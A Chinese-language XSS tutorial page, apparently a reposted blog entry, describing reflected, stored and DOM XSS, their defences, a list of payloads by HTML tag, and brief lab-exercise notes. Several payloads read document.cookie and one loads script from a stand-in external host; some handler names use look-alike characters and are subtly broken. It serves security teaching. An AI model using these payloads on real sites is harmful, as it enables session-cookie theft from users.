赞
踩
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如
<script>alert(1)</script//
script标签:script标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
alert()方法是显示一条弹出提示消息和确认按钮的警告框。
需要注意的是 :alert()是一个阻塞的函数,如果我们不点确认按钮,后面的内容就不会加载出来。
svg标签
<svg onload="alert(1)">
<svg onload="alert(1)"//
onload是指在加载该页面时就执行,然后观察是否有弹窗
img标签:
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
onerror事件:如果在加载图片时发生错误则执行 如果在加载图片时发生错误则触发函数 myFunction() 函数会弹出提示窗口
body标签:
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
定义和用法 onpageshow 事件在用户导航到网页时发生。 onpageshow 事件与 onload 事件 类似,不同之处在于它发生在页面首次加载时的 onload 事件之后
video标签:
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
ondragstart 事件:在用户开始拖动
元素时执行
style标签:
<style οnlοad=alert(1)></style>
流程图
进入靶场
限制长度了不过可以直接传参
测试
无过滤可以多试几个标签
登录
因为传参方式改变
获取cooki表单可以使用这句
<script>alert(document.cookie)</script>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。